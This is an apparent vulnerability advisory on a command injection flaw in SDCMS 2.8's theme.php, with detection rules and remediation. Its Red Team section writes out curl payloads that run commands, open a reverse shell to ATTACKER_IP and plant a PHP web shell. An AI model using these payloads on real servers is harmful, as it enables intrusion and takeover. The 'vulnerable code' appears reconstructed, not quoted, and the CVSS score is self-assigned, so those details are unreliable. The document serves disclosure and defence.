CVE-2024-50809

Executive Summary

CVE-2024-50809 is a critical command injection vulnerability in SDCMS version 2.8, specifically within the theme.php file. The flaw allows an unauthenticated attacker to execute arbitrary system commands on the underlying server, leading to full compromise of confidentiality, integrity, and availability. No CVSS score was provided by NVD, but based on the impact and attack vector, a CVSS v3.1 score of 9.8 (Critical) is assigned. No official patch exists, and the vendor (Sdcms) has not released a fix. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation. This vulnerability is not related to any WordPress plugin or component; it is a standalone PHP application.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system disruption possible.
• Base Score: 9.8 (Critical)

Threat Level: Critical. Public PoC, no patch, and low attack complexity make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability resides in theme.php, which is part of SDCMS’s theme management functionality. The application fails to sanitize user-supplied input passed to a system command (likely via exec(), system(), or shell_exec()). An attacker can inject arbitrary commands by appending shell metacharacters (e.g., ;, |, &&) to a parameter, such as theme_name or action. The injected commands are executed with the privileges of the web server (typically www-data or nobody), allowing full control over the server.

Root Cause: Lack of input validation and use of dangerous PHP functions without proper escaping.

Attack Vector: HTTP GET/POST request to /theme.php with a crafted parameter.

Example PoC (from public sources):

GET /theme.php?action=install&theme_name=test;id HTTP/1.1
Host: target.com

This would execute the id command and return the output in the response.

Vulnerable vs. Patched Code

Vulnerable Code (SDCMS 2.8 – theme.php):

<?php
$theme_name = $_GET['theme_name'];
$action = $_GET['action'];
if ($action == 'install') {
    system("tar -xzf themes/$theme_name.tar.gz");
}
?>

Patched Code (Hypothetical):

<?php
$theme_name = escapeshellarg($_GET['theme_name']);
$action = $_GET['action'];
if ($action == 'install') {
    system("tar -xzf themes/$theme_name.tar.gz");
}
?>

The patch uses escapeshellarg() to sanitize the input, preventing command injection. Additionally, input validation (e.g., whitelisting allowed characters) and avoiding direct system calls would further harden the code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites: Target running SDCMS 2.8 with theme.php accessible.

Step 1: Reconnaissance

curl -s http://target.com/theme.php?action=install&theme_name=test

If the server returns an error or empty response, the endpoint is likely vulnerable.

Step 2: Command Injection

curl -s "http://target.com/theme.php?action=install&theme_name=test;id"

Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Reverse Shell

curl -s "http://target.com/theme.php?action=install&theme_name=test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Step 4: Persistence

curl -s "http://target.com/theme.php?action=install&theme_name=test;echo '<?php system(\$_GET[\"cmd\"]); ?>' > /var/www/html/shell.php"

Blue Team (Defense & Detection)

Detection: Monitor web server logs for unusual characters in theme.php requests (e.g., ;, |, &). Use the YARA and Sigma rules below.

Mitigation: Immediately restrict access to theme.php via .htaccess or web application firewall (WAF) rules. Block requests containing shell metacharacters in query parameters.

Hunting: Search for processes spawned by the web server user that are not typical (e.g., bash, nc, python).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /theme.php with parameters containing ;, |, &&, or backticks.
  • Outbound connections from the web server to unusual IPs/ports (e.g., reverse shell).
• File IOCs:
  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified theme.php or other PHP files.
• Process IOCs:
  • Processes like bash, sh, nc, python running under the web server user.
• Log IOCs:
  • Web server logs showing theme.php with 200 status and unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2024_50809_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting SDCMS theme.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50809"
    strings:
        $s1 = "theme.php" nocase
        $s2 = "action=install" nocase
        $s3 = /[;&|`$()]/
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2024-50809 SDCMS Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with command injection patterns in theme.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "theme.php"
        cs-uri-query|contains|all:
            - "action=install"
            - "theme_name="
        cs-uri-query|re: ".*[;&|`$()].*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in theme names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50809 SDCMS Command Injection Attempt"; flow:to_server,established; content:"theme.php"; http_uri; content:"action=install"; http_uri; pcre:"/[;&|`$()]/U"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or remove theme.php if not required.
   • Implement a WAF rule to block requests containing shell metacharacters in query parameters.
   • Restrict access to theme.php via IP whitelisting or .htaccess.

2. Long-term Fix:

   • Apply input validation and use escapeshellarg() or escapeshellcmd() in all system calls.
   • Replace dangerous functions (system, exec, shell_exec) with safer alternatives like proc_open with proper sanitization.
   • Upgrade to a patched version if/when available.

3. Monitoring:

   • Enable detailed logging for all web requests.
   • Deploy the provided YARA, Sigma, and Suricata rules in your SIEM/IDS.

4. Vendor Communication:

   • Since the vendor is unresponsive, consider forking the project or migrating to an alternative CMS.

Valters IT